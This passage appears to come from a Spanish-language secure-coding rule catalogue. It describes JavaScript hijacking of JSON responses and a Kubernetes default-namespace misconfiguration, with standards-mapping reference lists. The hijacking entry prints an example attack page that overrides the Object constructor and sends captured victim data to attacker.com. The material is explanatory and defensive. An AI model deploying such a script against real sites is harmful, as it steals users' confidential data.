[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Evite el uso de un espacio de nombres predeterminado de Kubernetes.
Explanation
Los espacios de nombres de Kubernetes dividen un clúster en fragmentos manejables. Los espacios de nombres proporcionan un ámbito para los nombres y facilitan la especificación de varias directivas para una subsección de un clúster. De forma predeterminada, Kubernetes asigna un recurso a un espacio de nombres default. El uso de un espacio de nombres diferente al predeterminado reduce el impacto de errores o actividades malintencionadas.

Ejemplo 1: La siguiente configuración establece el espacio de nombres de un recurso en default.

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 340
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base